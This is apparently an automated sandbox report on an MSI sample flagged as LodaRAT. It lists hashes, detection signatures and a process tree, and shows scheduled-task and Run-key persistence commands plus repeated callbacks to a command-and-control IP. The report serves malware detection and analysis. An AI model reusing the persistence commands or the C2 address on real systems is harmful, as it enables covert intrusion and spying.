Edit tour

Windows Analysis Report
sdlvrr.msi

Overview

General Information

Sample name:	sdlvrr.msi
Analysis ID:	1582342
MD5:	3e83644e86d6165d35a80650d01df249
SHA1:	f3f82555822edc27b3ec559686e7d7b23153761b
SHA256:	5cbae41670f29829cbbeb50560a2184385e25c109dcbf3bfcff6656bfc09ae32
Tags:	knkbkk212msiuser-JAMESWT_MHT
Infos:

Detection

LodaRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LodaRAT

Drops executables to the windows directory (C:\Windows) and starts them

Found API chain indicative of sandbox detection

Machine Learning detection for dropped file

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query the security center for anti-virus and firewall products

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Always Install Elevated MSI Spawned Cmd And Powershell

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sleep loop found (likely to delay execution)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected ProcessChecker

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 7664 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\sdlvrr.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7696 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

MSI4976.tmp (PID: 7764 cmdline: "C:\Windows\Installer\MSI4976.tmp" MD5: 8C36CF56C0AA2ED05B8EC53CA0BFBAE1)

cmd.exe (PID: 7812 cmdline: C:\Windows\system32\cmd.exe /c schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7864 cmdline: schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1 MD5: 48C2FE20575769DE916F48EF0676A965)

wscript.exe (PID: 7852 cmdline: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs MD5: FF00E0480075B095948000BDC66E81F0)

SRACMB.exe (PID: 7916 cmdline: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe MD5: 8C36CF56C0AA2ED05B8EC53CA0BFBAE1)

SRACMB.exe (PID: 7992 cmdline: "C:\Users\user\AppData\Roaming\Windata\SRACMB.exe" MD5: 8C36CF56C0AA2ED05B8EC53CA0BFBAE1)

SRACMB.exe (PID: 7356 cmdline: "C:\Users\user\AppData\Roaming\Windata\SRACMB.exe" MD5: 8C36CF56C0AA2ED05B8EC53CA0BFBAE1)

SRACMB.exe (PID: 5296 cmdline: "C:\Users\user\AppData\Roaming\Windata\SRACMB.exe" MD5: 8C36CF56C0AA2ED05B8EC53CA0BFBAE1)

SRACMB.exe (PID: 3648 cmdline: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe MD5: 8C36CF56C0AA2ED05B8EC53CA0BFBAE1)

SRACMB.exe (PID: 7544 cmdline: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe MD5: 8C36CF56C0AA2ED05B8EC53CA0BFBAE1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loda, LodaRAT	Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as Trojan.Nymeria, although the connection is not well-documented.	No Attribution	https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html https://blog.talosintelligence.com/2020/09/lodarat-update-alive-and-well.html https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html https://blog.talosintelligence.com/attributing-yorotrooper/ https://blog.talosintelligence.com/get-a-loda-this/	https://malpedia.caad.fkie.fraunhofer.de/details/win.loda

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.2614707550.0000000003830000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
00000006.00000002.2614274905.00000000032A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
00000003.00000002.2616737221.0000000004AC6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
00000006.00000002.2614274905.00000000032C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
Process Memory Space: MSI4976.tmp PID: 7764	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
Process Memory Space: MSI4976.tmp PID: 7764	JoeSecurity_LodaRAT	Yara detected LodaRAT	Joe Security
Process Memory Space: MSI4976.tmp PID: 7764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: wscript.exe PID: 7852	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 172.111.138.100, DesusertionIsIpv6: false, DesusertionPort: 5552, EventID: 3, Image: C:\Windows\Installer\MSI4976.tmp, Initiated: true, ProcessId: 7764, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49817

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\Installer\MSI4976.tmp", ParentImage: C:\Windows\Installer\MSI4976.tmp, ParentProcessId: 7764, ParentProcessName: MSI4976.tmp, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, ProcessId: 7852, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\Installer\MSI4976.tmp", ParentImage: C:\Windows\Installer\MSI4976.tmp, ParentProcessId: 7764, ParentProcessName: MSI4976.tmp, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, ProcessId: 7852, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\Installer\MSI4976.tmp", ParentImage: C:\Windows\Installer\MSI4976.tmp, ParentProcessId: 7764, ParentProcessName: MSI4976.tmp, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, ProcessId: 7852, ProcessName: wscript.exe

Sigma detected: Always Install Elevated MSI Spawned Cmd And Powershell

Source: Process started

Author: Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community: Data: Command: C:\Windows\system32\cmd.exe /c schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1, CommandLine: C:\Windows\system32\cmd.exe /c schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\Installer\MSI4976.tmp", ParentImage: C:\Windows\Installer\MSI4976.tmp, ParentProcessId: 7764, ParentProcessName: MSI4976.tmp, ProcessCommandLine: C:\Windows\system32\cmd.exe /c schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1, ProcessId: 7812, ProcessName: cmd.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Roaming\Windata\SRACMB.exe", EventID: 13, EventType: SetValue, Image: C:\Windows\Installer\MSI4976.tmp, ProcessId: 7764, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VYZSPQ

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\Installer\MSI4976.tmp, ProcessId: 7764, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VYZSPQ.lnk

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1, CommandLine: schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7812, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1, ProcessId: 7864, ProcessName: schtasks.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\Installer\MSI4976.tmp", ParentImage: C:\Windows\Installer\MSI4976.tmp, ParentProcessId: 7764, ParentProcessName: MSI4976.tmp, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, ProcessId: 7852, ProcessName: wscript.exe

Suricata Signatures

ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49984	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49976	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49983	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49985	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49977	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49979	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49980	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49869	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49981	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49982	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49817	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49929	172.111.138.100	5552	TCP
2024-12-30T11:35:41.848807+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49817	172.111.138.100	5552	TCP
2024-12-30T11:35:51.094216+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49869	172.111.138.100	5552	TCP
2024-12-30T11:36:00.201860+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49929	172.111.138.100	5552	TCP
2024-12-30T11:36:09.217517+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49976	172.111.138.100	5552	TCP
2024-12-30T11:36:18.283230+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49977	172.111.138.100	5552	TCP
2024-12-30T11:36:27.296276+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49979	172.111.138.100	5552	TCP
2024-12-30T11:36:36.378336+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49980	172.111.138.100	5552	TCP
2024-12-30T11:36:45.679041+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49981	172.111.138.100	5552	TCP
2024-12-30T11:36:59.623794+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49982	172.111.138.100	5552	TCP
2024-12-30T11:37:09.091777+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49983	172.111.138.100	5552	TCP
2024-12-30T11:37:18.155276+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49984	172.111.138.100	5552	TCP
2024-12-30T11:37:27.170694+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.9	49985	172.111.138.100	5552	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	ReversingLabs: Detection: 52%
Source: C:\Windows\Installer\MSI4976.tmp	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: sdlvrr.msi	Virustotal: Detection: 50%			Perma Link
Source: sdlvrr.msi	ReversingLabs: Detection: 42%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Joe Sandbox ML: detected
Source: C:\Windows\Installer\MSI4976.tmp	Joe Sandbox ML: detected

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0033DD92 GetFileAttributesW,FindFirstFileW,FindClose,	3_2_0033DD92
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00372044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00372044
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0037219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_0037219F
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_003724A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_003724A9
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00366B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	3_2_00366B3F
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00366E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	3_2_00366E4A
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0036F350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_0036F350
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0036FD47 FindFirstFileW,FindClose,	3_2_0036FD47
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0036FDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	3_2_0036FDD2
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_00102044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00102044
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0010219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_0010219F
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_001024A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_001024A9
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000F6B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	8_2_000F6B3F
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000F6E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	8_2_000F6E4A
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000FF350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_000FF350
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000FFD47 FindFirstFileW,FindClose,	8_2_000FFD47
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000CDD92 GetFileAttributesW,FindFirstFileW,FindClose,	8_2_000CDD92
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000FFDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	8_2_000FFDD2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49869 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49817 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49929 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49977 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49984 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49976 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49982 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49979 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49985 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49981 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49980 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.9:49983 -> 172.111.138.100:5552

Source: Joe Sandbox View

IP Address: 172.111.138.100 172.111.138.100

Source: Joe Sandbox View

ASN Name: VOXILITYGB VOXILITYGB

Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
